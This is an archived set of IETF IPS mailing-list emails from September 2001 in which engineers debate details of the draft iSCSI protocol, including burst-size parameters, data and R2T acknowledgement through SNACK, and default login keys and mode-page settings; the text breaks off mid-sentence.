 --=====================_23571250==_.ALT-- From owner-ips@ece.cmu.edu Fri Sep 21 18:12:09 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA07503 for ; Fri, 21 Sep 2001 18:12:09 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LLDlm15628 for ips-outgoing; Fri, 21 Sep 2001 17:13:47 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LLDjP15621 for ; Fri, 21 Sep 2001 17:13:45 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel12.hp.com (Postfix) with ESMTP id CDC8E1F62E for ; Fri, 21 Sep 2001 09:13:39 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id OAA08437 for ; Fri, 21 Sep 2001 14:13:35 -0700 (PDT) Message-ID: <3BABAF00.57118E5E@cup.hp.com> Date: Fri, 21 Sep 2001 14:20:01 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: IPS Reflector Subject: Re: iscsi : MaximumBurstSize & FirstBurstSize values. References: Content-Type: multipart/mixed; boundary="------------8E36291A8DDA69F37C491FCB" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------8E36291A8DDA69F37C491FCB Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Robert Snively wrote: > I am sorry, but I don't think this is a necessary or appropriate > limitation. FirstBurstSize is a PDU size, and its characteristics > are determined by the unsolicited data buffer capability of the > target. MaximumBurstSize is a PDU size, and its characteristics > are determined by the solicited data buffer size and the buffer > size increments available to the initiator. These may meet that > rule, but they may also not meet that rule. That is why there > are two values. > > It may be important to clarify that FirstBurstSize overrides > MaximumBurstSize for the first burst. Bob, Your solution works fine for me. The current draft wording is not clear on how the initiator must send un-solicited data when MaximumBurstSize is < FirstBurstSize, since the meaning of the "F" bit in the data-out sequence is currently over-loaded to imply end-of-sequence as well as end-of-unsolicited data. Sequence length could be construed as less than length of un-solicited data. Regards, Santosh > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Friday, September 21, 2001 11:43 AM > > To: IPS Reflector > > Subject: iscsi : MaximumBurstSize & FirstBurstSize values. > > > > > > All, > > > > I believe the FirstBurstSize setting has to be <= MaximumBurstSize ? I > > suggest that this be explicitly called out in the definition of > > FirstBurstSize. > > > > If this rule is not followed, an initiator would need to break the > > un-solicited data it sends into more than 1 data-out sequence, and in > > setting the F bit to indicate end-of-sequence, it can confuse > > the target > > into thinking its end of un-solicited data. > > > > > > The definitions currently read : > > > > "4.1.1 MaximumBurstSize Field (16 bit) > > > > This field defines the maximum SCSI data payload in an iSCSI > > sequence (a > > sequence of Data-In or Data-Out PDUs ending with a Data-In or Data-Out > > PDU with the F bit set to one) in units of 512 bytes. The default > > value assumed for a new iSCSI session (I_T nexus) is 512 units. > > > > 4.1.3 FirstBurstSize Field (16 bit) > > > > This field defines the maximum amount of unsolicited data an iSCSI > > initiator may to send to the target in units of 512 bytes. The default > > value assumed for a new iSCSI session (I_T nexus) is 128 units. " > > > > Regards, > > Santosh > > --------------8E36291A8DDA69F37C491FCB Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------8E36291A8DDA69F37C491FCB-- From owner-ips@ece.cmu.edu Fri Sep 21 20:03:11 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA08518 for ; Fri, 21 Sep 2001 20:03:11 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8LMoPZ21151 for ips-outgoing; Fri, 21 Sep 2001 18:50:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from esply02.cnt.com (mailhost.cnt.com [139.93.128.21]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8LMoNP21146 for ; Fri, 21 Sep 2001 18:50:23 -0400 (EDT) Received: by esply02.cnt.com with Internet Mail Service (5.5.2653.19) id ; Fri, 21 Sep 2001 17:50:17 -0500 Message-ID: <3C7122FAF06DD5118ED6005004733648263114@esply01.cnt.com> From: Michael Schoberg To: "IPS Reflector (E-mail)" Subject: RE: iSCSI: SNACK R2T/Data Date: Fri, 21 Sep 2001 17:47:15 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Using [SCSI Command Retry] would be the same as no ACK method and implies we could eliminate StatSN as well. Most SCSI devices will work without iSCSI recovery, but I believe there was consensus that some recovery method be built-in. Tapes and such won't like unnecessary retries. Julian's reference for ACK'ing extremely long transfers makes a case for a Data/R2T ACK (although I think such transactions may be arguably rare). I still believe that decoupling [Request][Data][R2T] & [Response] is helpful for building simpler overall designs. By having to know that an ACK refers to a response which refers to a request which refers to R2T and/or DataSN is cumbersome and unnecessary. Involving a second status queue specifically for R2T/Read Data allows for complete decoupling of the [Request][Data][R2T] & [Response]. If we're going to try to recover R2T and ReadData, I'd prefer to have it decoupled from other PDUs flowing through the system. However even if a separate queue is added, Julian's requirement that a specific ACK request be used is still legitimate for lengthy T->I transfers. For that a NOP/ACK type request (simply updating the DataSN/R2TSN queue pointers) works. ACKing by referencing the original request, in my opinion, is still inconvenient. As it stands now, SNACK isn't broken. Maybe that's the best compromise we'll see on this issue. : -----Original Message----- : From: Sandeep Joshi [mailto:sandeepj@research.bell-labs.com] : Sent: Friday, September 21, 2001 12:31 PM : To: ips@ece.cmu.edu : Subject: Re: iSCSI: SNACK R2T/Data : : : : : The ack effect could also be achieved using SCSI Command Retry (use : the SCSI Command's expDataSN field) The target stops sending : Read PDUs if it runs out of buffers, and the initiator then : times out and retries the command. This is what a target : would have to do in the absence of some data ack. : : I looked at the archived emails on this subject (when dataSN : was called DataRN) The Orlando minutes also have a brief reference. : I suspect the atmosphere then was that the recovery scheme was : still partly defined and this DataSN ack scheme was adding to : the general sense of complexity (..so lets dispose it) : : I agree with Julian & Matthew that some form of data acks would : add value for long transfers. The acks will be cumulative and : not per ReadData PDU (based on prenegotiated intervals or on : a "send_ack" bit in the ReadData PDU set by the target) : : Btw, I see that the expDataSN field has disappeared from the : SCSI Command PDU. The Task Management Command also does not : have anything related to expDataSN. I may have missed an : email on this ? : : -Sandeep : : Julian Satran wrote: : > : > It does not have to involve a net type but it must be a : specific request : > (like SNACK) as there might be no output : > traffic at the time. The overhead involved is minor (as it : can be done only : > once per sequence and be cumulative). : > : > Julo : > : > : > Michael Schoberg : > : > g@cnt.com> cc: : > Sent by: Subject: RE: : iSCSI: SNACK R2T/Data : > owner-ips@ece.cm : > u.edu : > : > : > 21-09-01 18:43 : > Please respond : > to Michael : > Schoberg : > : > : > : > I can see the point of not involving a new ACK request for : [DATA] & [R2T]. : > However, it would be nice to have something like [CmdSN, : ExpStatSN][StatSN, : > ExpCmdSN] for [DATA] & [R2T]. As it stands now, only when the [SCSI : > Response] is acknowledged for the request that originated : the [R2T] & : > [Data] : > messages can you assume [R2T] & [Data] was successfully : processed. This : > means you have hold onto a lot of associations in that : updating ExpStatSN : > will ACK more than just status messages. : > : > The nice thing about the [CmdSN, ExpStatSN][StatSN, : ExpCmdSN] mechanism was : > that it allowed for separate processing queues; status : messages can be : > unaware of the command that originated them. This : disassociation allowed : > for a simpler implementation (aka hardware assist). : > : > One possibility would be to split the [CmdSN, : ExpStatSN][StatSN, ExpCmdSN] : > into 16 bit fields rather than 32. Unless there's a : genuine feeling that : > more than 65K requests could be outstanding within session, : I don't see a : > problem. The extra 32 bits freed up could be used for a : Data/R2T_SN ACK : > and : > would allow a separate queue independent of [CmdSN, : ExpStatSN][StatSN, : > ExpCmdSN]. Since each queue doesn't have to maintain state : knowledge of : > the : > other, it allows for simpler design. : > : > Just and idea. : > : > : -----Original Message----- : > : From: Julian Satran [mailto:Julian_Satran@il.ibm.com] : > : Sent: Friday, September 21, 2001 9:41 AM : > : To: ips@ece.cmu.edu : > : Subject: Re: iSCSI: SNACK R2T/Data : > : : > : : > : : > : Santosh, : > : : > : None of your arguments makes much sense. : > : The ACK (a third form of SNACK) can be done at explicit : > : boundaries and only : > : by initiators : > : supporting the within command class. For most of the : > : initiator it will : > : require 0 additional resources as they either : > : don't do they recovery, or the input data is short (the ack : > : is not needed : > : at the end as the status ack acks the data too). : > : For the ones that have long exchanges (tape and 3rd : party) it is a big : > : help. : > : : > : But you did not fail (again) to make your point. : > : : > : Julo : > : : > : : > : : > : : > : Santosh Rao : > : : > : : ips@ece.cmu.edu : > : hp.com> cc: : > : : > : Sent by: Subject: Re: : > : iSCSI: SNACK R2T/Data : > : owner-ips@ece. : > : : > : cmu.edu : > : : > : : > : : > : : > : : > : 20-09-01 18:54 : > : : > : Please respond : > : : > : to Santosh Rao : > : : > : : > : : > : : > : : > : : > : : > : : > : : > : Matthew, : > : : > : We have gone through this thread of discussion regarding : > : DataSNa long time : > : back on : > : ips and the consensus has been that I/O transfer sizes : are not large : > : enough to : > : justify OUT_OF_BAND acknowledgement of data. [achieved by : having the : > : initiator : > : generate NOP-OUTs in response to received data pdu's to send : > : a DataSN ack.] : > : : > : The primary dis-advantage with that scheme was that the data : > : ack's were : > : being : > : generated out-of-band, and therefore, implied extra cost : in terms of : > : initiator : > : resources for each I/O, as well as increased wire traffic per I/O, : > : performance : > : penalty, etc. : > : : > : I am opposed to the draft requiring initiators to send : > : out-of-band ack's to : > : data : > : pdu's through the use of initiator generated NOP-OUT : pdus. This is a : > : performance : > : penalty, a resource overhead, and not really justified in : > : most I/O traffic : > : due to : > : the avg. data xfer sizes. : > : : > : Regards, : > : Santosh : > : : > : : > : Julian Satran wrote: : > : : > : > Matthew, : > : > : > : > I am also in favor of such a mechanism. It is easy to : > : implement (another : > : > form of SNACK) and we have already built-in a mechanism : by which an : > : inbound : > : > stream can be marked for acking (the inbound sequence : > : separator F bit). : > : > It can also be specified as mandated only if the : > : within-command recovery : > : > class is present. : > : > : > : > However I am reluctant to open again this issue except if : > : there are more : > : > supporters. Data ACKs where hastily dropped at the interim : > : meeting in : > : > Orlando. I recall Somesh Gupta, Pierre Labat and Santosh : > : Rao as being : > : very : > : > vocal against them (arguing complexity) and carrying the : > : room with them. : > : > : > : > Julo : > : > : > : > : > : > "BURBRIDGE,MATTH : > : > EW To: Julian : > : Satran/Haifa/IBM@IBMIL, : > : > (HP-UnitedKingdo ips@ece.cmu.edu : > : > m,ex2)" cc: : > : > : iSCSI: SNACK : > : R2T/Data : > : > ge@hp.com> : > : > : > : > 19-09-01 17:25 : > : > Please respond : > : > to : > : > "BURBRIDGE,MATTH : > : > EW : > : > (HP-UnitedKingdo : > : > m,ex2)" : > : > : > : > : > : > : > : > I am very much in favour of having a positive ACK mechanism : > : to control : > : > buffer resources at the target. If there is a very large : > : transfer (e.g. : > : 1 : > : > Mb) then the sender can release buffer space once it : knows that the : > : > receiver : > : > has received the data. It is worth pointing out that this : > : mechanism is : > : for : > : > buffer control and is not for flow control which, as we : all know, is : > : > handled : > : > by TCP. : > : > : > : > Cheers : > : > : > : > Matthew Burbridge : > : > Senior Development Engineer : > : > NIS-Bristol : > : > Hewlett Packard : > : > Telnet: 312 7010 : > : > E-mail: matthewb@bri.hp.com : > : > : > : > -----Original Message----- : > : > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] : > : > Sent: Wednesday, September 19, 2001 6:28 AM : > : > To: ips@ece.cmu.edu : > : > Subject: Re: iSCSI: SNACK R2T/Data : > : > : > : > There is no ACK mechanism. The group wisdom was that there : > : is no need for : > : > one. : > : > Incoming data and R2Ts are not acked (a mechanism that did : > : that existed : > : and : > : > was based on NOP-Out). : > : > : > : > Julo : > : > : > : > Michael Schoberg on : 18-09-2001 19:09:51 : > : > : > : > Please respond to Michael Schoberg : > : > : > : > To: "'ips@ece.cmu.edu'" , Julian : > : Satran/Haifa/IBM@IBMIL : > : > cc: : > : > Subject: iSCSI: SNACK R2T/Data : > : > : > : > Old subject, but I couldn't find any discussion on this: : > : > : > : > When does the target know it no longer needs to hold R2T & : > : Data PDUs? : > : > StatSN responses are acknowledged through the ExpStatSN : > : field received in : > : > future I->T requests. What's the acknowledgement method : > : for R2T & Data : > : > PDUs? Is it tied to the original request and acknowledged : > : through the : > : > ExpStatSN acknowledgment of the request's response? : > : > : > : > Thanks. : > : : > : - santoshr.vcf : > : : > : : > : : From owner-ips@ece.cmu.edu Fri Sep 21 21:48:07 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA10644 for ; Fri, 21 Sep 2001 21:48:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8M0ePK26680 for ips-outgoing; Fri, 21 Sep 2001 20:40:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from va2mc.ummailbox.net (va2mc.ummailbox.net [64.210.247.16]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8M0eMP26673 for ; Fri, 21 Sep 2001 20:40:22 -0400 (EDT) Received: from hqmailweb.COMMSTOR.Crossroads.com (HQMailWeb.Crossroads.com [63.237.99.250:25]) by va2mc.ummailbox.net with ESMTP id A0921-2040-69fe02; Sat, 22 Sep 2001 00:40:01 GMT Received: from HQMAILNODE1.COMMSTOR.Crossroads.com ([10.5.1.42]) by hqmailweb.COMMSTOR.Crossroads.com with Microsoft SMTPSVC(5.0.2195.2966); Fri, 21 Sep 2001 14:00:58 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Disposition-Notification-To: "Lee Xing" Subject: Questions on v.07/08 Date: Fri, 21 Sep 2001 14:00:58 -0500 Message-ID: Thread-Topic: Questions on v.07/08 Thread-Index: AcFCz8EK1CBuUdedR7ie21/cmPOaEg== From: "Lee Xing" To: X-OriginalArrivalTime: 21 Sep 2001 19:00:58.0442 (UTC) FILETIME=[BFAB42A0:01C142CF] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8M0eNP26674 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Hi, Could someone please take a look at the following three questions and give me a hint. Thanks. Lee Crossroads Systems, Inc. ============================== Q1: v.08 p84 states "The version number of the current draft is 0x2". Why does v.08 use the same version number as v.07 does? Q2: v.07 p19/v.08 p21 says "The queuing capacity of the receiving iSCSI layer is MaxCmdSN - ExpCmdSN + 1". The question is how we should interpret "queuing capacity = 1" (i.e. when MaxCmdSN = ExpCmdSN in v.07/08)? Does it mean target is able to receive/queue another command while it's processing a command in the engine (the general OS concept), or does it mean target can only have one command at any time? Should v.07/08 clear it a bit? Q3: v.07 p20/v.08 p22 states "... ExpStatSN is used by the initiator to acknowledge status." The question is how it could be possible for initiators to use ExpStatSN to acknowledge status when target uses queued commands? Should we make it clearer on this? From owner-ips@ece.cmu.edu Sat Sep 22 01:07:00 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA13494 for ; Sat, 22 Sep 2001 01:07:00 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8M4JcB10526 for ips-outgoing; Sat, 22 Sep 2001 00:19:38 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8M4JZP10519 for ; Sat, 22 Sep 2001 00:19:35 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id GAA102100 for ; Sat, 22 Sep 2001 06:19:29 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8M4HoS204696 for ; Sat, 22 Sep 2001 06:18:31 +0200 Subject: Re: iSCSI: SNACK R2T/Data To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 22 Sep 2001 07:19:37 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 22/09/2001 07:18:31 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Sandeep, The "send-ack" bit could be the F bit (it separates sequences in input). The ExpCmdSN is in the Task Management request (used with Reassign). Julo Sandeep Joshi cc: Sent by: Subject: Re: iSCSI: SNACK R2T/Data owner-ips@ece.cmu.edu 21-09-01 20:31 Please respond to Sandeep Joshi The ack effect could also be achieved using SCSI Command Retry (use the SCSI Command's expDataSN field) The target stops sending Read PDUs if it runs out of buffers, and the initiator then times out and retries the command. This is what a target would have to do in the absence of some data ack. I looked at the archived emails on this subject (when dataSN was called DataRN) The Orlando minutes also have a brief reference. I suspect the atmosphere then was that the recovery scheme was still partly defined and this DataSN ack scheme was adding to the general sense of complexity (..so lets dispose it) I agree with Julian & Matthew that some form of data acks would add value for long transfers. The acks will be cumulative and not per ReadData PDU (based on prenegotiated intervals or on a "send_ack" bit in the ReadData PDU set by the target) Btw, I see that the expDataSN field has disappeared from the SCSI Command PDU. The Task Management Command also does not have anything related to expDataSN. I may have missed an email on this ? -Sandeep Julian Satran wrote: > > It does not have to involve a net type but it must be a specific request > (like SNACK) as there might be no output > traffic at the time. The overhead involved is minor (as it can be done only > once per sequence and be cumulative). > > Julo > > > Michael Schoberg > > g@cnt.com> cc: > Sent by: Subject: RE: iSCSI: SNACK R2T/Data > owner-ips@ece.cm > u.edu > > > 21-09-01 18:43 > Please respond > to Michael > Schoberg > > > > I can see the point of not involving a new ACK request for [DATA] & [R2T]. > However, it would be nice to have something like [CmdSN, ExpStatSN][StatSN, > ExpCmdSN] for [DATA] & [R2T]. As it stands now, only when the [SCSI > Response] is acknowledged for the request that originated the [R2T] & > [Data] > messages can you assume [R2T] & [Data] was successfully processed. This > means you have hold onto a lot of associations in that updating ExpStatSN > will ACK more than just status messages. > > The nice thing about the [CmdSN, ExpStatSN][StatSN, ExpCmdSN] mechanism was > that it allowed for separate processing queues; status messages can be > unaware of the command that originated them. This disassociation allowed > for a simpler implementation (aka hardware assist). > > One possibility would be to split the [CmdSN, ExpStatSN][StatSN, ExpCmdSN] > into 16 bit fields rather than 32. Unless there's a genuine feeling that > more than 65K requests could be outstanding within session, I don't see a > problem. The extra 32 bits freed up could be used for a Data/R2T_SN ACK > and > would allow a separate queue independent of [CmdSN, ExpStatSN][StatSN, > ExpCmdSN]. Since each queue doesn't have to maintain state knowledge of > the > other, it allows for simpler design. > > Just and idea. > > : -----Original Message----- > : From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > : Sent: Friday, September 21, 2001 9:41 AM > : To: ips@ece.cmu.edu > : Subject: Re: iSCSI: SNACK R2T/Data > : > : > : > : Santosh, > : > : None of your arguments makes much sense. > : The ACK (a third form of SNACK) can be done at explicit > : boundaries and only > : by initiators > : supporting the within command class. For most of the > : initiator it will > : require 0 additional resources as they either > : don't do they recovery, or the input data is short (the ack > : is not needed > : at the end as the status ack acks the data too). > : For the ones that have long exchanges (tape and 3rd party) it is a big > : help. > : > : But you did not fail (again) to make your point. > : > : Julo > : > : > : > : > : Santosh Rao > : > : : ips@ece.cmu.edu > : hp.com> cc: > : > : Sent by: Subject: Re: > : iSCSI: SNACK R2T/Data > : owner-ips@ece. > : > : cmu.edu > : > : > : > : > : > : 20-09-01 18:54 > : > : Please respond > : > : to Santosh Rao > : > : > : > : > : > : > : > : > : > : Matthew, > : > : We have gone through this thread of discussion regarding > : DataSNa long time > : back on > : ips and the consensus has been that I/O transfer sizes are not large > : enough to > : justify OUT_OF_BAND acknowledgement of data. [achieved by having the > : initiator > : generate NOP-OUTs in response to received data pdu's to send > : a DataSN ack.] > : > : The primary dis-advantage with that scheme was that the data > : ack's were > : being > : generated out-of-band, and therefore, implied extra cost in terms of > : initiator > : resources for each I/O, as well as increased wire traffic per I/O, > : performance > : penalty, etc. > : > : I am opposed to the draft requiring initiators to send > : out-of-band ack's to > : data > : pdu's through the use of initiator generated NOP-OUT pdus. This is a > : performance > : penalty, a resource overhead, and not really justified in > : most I/O traffic > : due to > : the avg. data xfer sizes. > : > : Regards, > : Santosh > : > : > : Julian Satran wrote: > : > : > Matthew, > : > > : > I am also in favor of such a mechanism. It is easy to > : implement (another > : > form of SNACK) and we have already built-in a mechanism by which an > : inbound > : > stream can be marked for acking (the inbound sequence > : separator F bit). > : > It can also be specified as mandated only if the > : within-command recovery > : > class is present. > : > > : > However I am reluctant to open again this issue except if > : there are more > : > supporters. Data ACKs where hastily dropped at the interim > : meeting in > : > Orlando. I recall Somesh Gupta, Pierre Labat and Santosh > : Rao as being > : very > : > vocal against them (arguing complexity) and carrying the > : room with them. > : > > : > Julo > : > > : > > : > "BURBRIDGE,MATTH > : > EW To: Julian > : Satran/Haifa/IBM@IBMIL, > : > (HP-UnitedKingdo ips@ece.cmu.edu > : > m,ex2)" cc: > : > : iSCSI: SNACK > : R2T/Data > : > ge@hp.com> > : > > : > 19-09-01 17:25 > : > Please respond > : > to > : > "BURBRIDGE,MATTH > : > EW > : > (HP-UnitedKingdo > : > m,ex2)" > : > > : > > : > > : > I am very much in favour of having a positive ACK mechanism > : to control > : > buffer resources at the target. If there is a very large > : transfer (e.g. > : 1 > : > Mb) then the sender can release buffer space once it knows that the > : > receiver > : > has received the data. It is worth pointing out that this > : mechanism is > : for > : > buffer control and is not for flow control which, as we all know, is > : > handled > : > by TCP. > : > > : > Cheers > : > > : > Matthew Burbridge > : > Senior Development Engineer > : > NIS-Bristol > : > Hewlett Packard > : > Telnet: 312 7010 > : > E-mail: matthewb@bri.hp.com > : > > : > -----Original Message----- > : > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > : > Sent: Wednesday, September 19, 2001 6:28 AM > : > To: ips@ece.cmu.edu > : > Subject: Re: iSCSI: SNACK R2T/Data > : > > : > There is no ACK mechanism. The group wisdom was that there > : is no need for > : > one. > : > Incoming data and R2Ts are not acked (a mechanism that did > : that existed > : and > : > was based on NOP-Out). > : > > : > Julo > : > > : > Michael Schoberg on 18-09-2001 19:09:51 > : > > : > Please respond to Michael Schoberg > : > > : > To: "'ips@ece.cmu.edu'" , Julian > : Satran/Haifa/IBM@IBMIL > : > cc: > : > Subject: iSCSI: SNACK R2T/Data > : > > : > Old subject, but I couldn't find any discussion on this: > : > > : > When does the target know it no longer needs to hold R2T & > : Data PDUs? > : > StatSN responses are acknowledged through the ExpStatSN > : field received in > : > future I->T requests. What's the acknowledgement method > : for R2T & Data > : > PDUs? Is it tied to the original request and acknowledged > : through the > : > ExpStatSN acknowledgment of the request's response? > : > > : > Thanks. > : > : - santoshr.vcf > : > : > : From owner-ips@ece.cmu.edu Sat Sep 22 01:07:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA13527 for ; Sat, 22 Sep 2001 01:07:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8M44hu09851 for ips-outgoing; Sat, 22 Sep 2001 00:04:43 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8M44eP09845 for ; Sat, 22 Sep 2001 00:04:40 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id GAA71378 for ; Sat, 22 Sep 2001 06:04:28 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8M44OY114438 for ; Sat, 22 Sep 2001 06:04:24 +0200 Subject: Re: iscsi : default iscsi mode page settings. To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 22 Sep 2001 07:06:14 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 22/09/2001 07:04:26 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk That is not my reading of the map. The unsolicited payload buffer size is a "data sink" attribute. The data sink is the SCSI engine and not the iSCSI layer. Julo Santosh Rao cc: Sent by: Subject: Re: iscsi : default iscsi mode owner-ips@ece. page settings. cmu.edu 21-09-01 21:50 Please respond to Santosh Rao Julian, The FirstBurstSize is governing an iscsi parameter which is : "how much un-solicited data can the initiator send" ? I concur with Charles' suggestion that FirstBurstSize be moved to a login key. By doing this, we can improve scan times, due to the elimination of the mode sense/select & avoid the side effects of shared mode pages. This allows easier use of un-solicited data. Regards, Santosh Julian Satran wrote: > Separation of parameters was made on a (very good) sugestion made by Robert > Snively - to keep SCSI affecting values (SCSI buffer sizes etc.) in mode > pages and iSCSI related in key=value. > > Julo > > > "Binford, > Charles" To: IPS Reflector > s.com> Subject: RE: iscsi : default iscsi mode > Sent by: page settings. > owner-ips@ece. > cmu.edu > > > 21-09-01 16:54 > Please respond > to "Binford, > Charles" > > > > Santosh, I fully agree with the intent of your comments. One small > problem, however, is you argue for FirstBurstSize = 0. Based on your other > comments I believe you are saying first burst should be disabled. SPC-2 > (and I see nothing in iSCSI to change this) defines firstBurstSize of 0 to > mean "no limit". I believe that is exactly the opposite of what your are > arguing for. The mode page field of firstFirstSize does not have or need > the concept of zero blocks allowed because the feature is is enabled / > disabled via other methods; process login parameters in FCP, initialR2T and > ImmediateData text parameters. > > So, we have the problem of how does a host that wants to use immediate or > unsolicited data know how much he can send. Options I see are: > - define a default value for the mode page (current method in iSCSI spec). > As I argued in previous posting, I believe this breaks basic mode page > concepts of SCSI. > > - force the host to issue a mode sense before the first command with > Data-Out. > Not desirable, as Santosh argued in another email. > > - specify the amount of data the host send before the R2T during login as a > text parameter > What I prefer. > > If we go with the last choice, then one has the question of what to do with > firstBurstSize in the mode page. Two options come to mind: > - reflect the login specified value in firstburstsize during mode sense. > Memory says this is how it used to be? > > - do nothing with it. Let iSCSI say that parameter in the mode page has no > meaning for the iSCSI protocol. Move the "firstBurstSize" concept to the > iSCSI login/text parameters and let it stay there, don't try to tie it in > to > the mode pagan at all. (my preferred choice) > > Charles Binford > Pirus Networks > 316.315.0382 x222 > > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Thursday, September 20, 2001 6:44 PM > To: IPS Reflector > Subject: RE: iscsi : default iscsi mode page settings. > > All, > > I think we need to discuss the 2 issues of login key defaults & mode page > defaults seperately : > > 1) Defaults on login keys : > =================== > I am in favor of defining conservative defaults. Those initiators needing > additional features should be prepared to do the additional work of > negotiating those keys. It should'nt be the other way around. > Thus, default settings should be : > > MaxConnections = 1 > FMarker = "no" > InitialR2T = "yes" > BidiInitialR2T = "yes" > ImmediateData = "no" > DataPDULength = 16 > MaxOutstandingR2T = 1 > DataPDUInOrder = "yes" > ErrorRecoveryLevel = 0 > SessionType = "normal" > > I'd like to propose one more change that the LogoutLoginMinTime & > LogoutLoginMaxTime login keys be removed from the login keys. > > This is because these key values are only relevant for an initiator > re-login > following a target originated logout or connection drop (signalled through > an async message). The async message does contain these values and thus, it > provides no additional value to negotiate these during login. > > Also to be noted is that LogoutLoginMinTime & LogoutLoginMaxTime are most > likely properties of the target device (how long array "xyz" goes out to > lunch during certain infamous conditions) as opposed to a value that can be > negotiated on a per-initiator basis. > > 2) Defaults on iscsi mode pages : > ======================== > Typically, no protocol defaults are specified for mode page settings. > Initiators should be able to function correctly without having to do either > mode select or mode sense. Any initiator that needs advanced settings > should > be prepared to do the extra work of issuing mode sense/select to enable > these features. It should NOT be the other way around. (i.e. simple > initiators should NOT have to first issue a mode select in order to ensure > proper operation of their sessions). > > If the draft does wish to profile a set of recommended defaults for the > iscsi, these should be conservative, where they affect the operation of > those initiators that do not wish to perform mode select. > > In particular, the following defaults are required, if it is decided to > recommend a profile of default 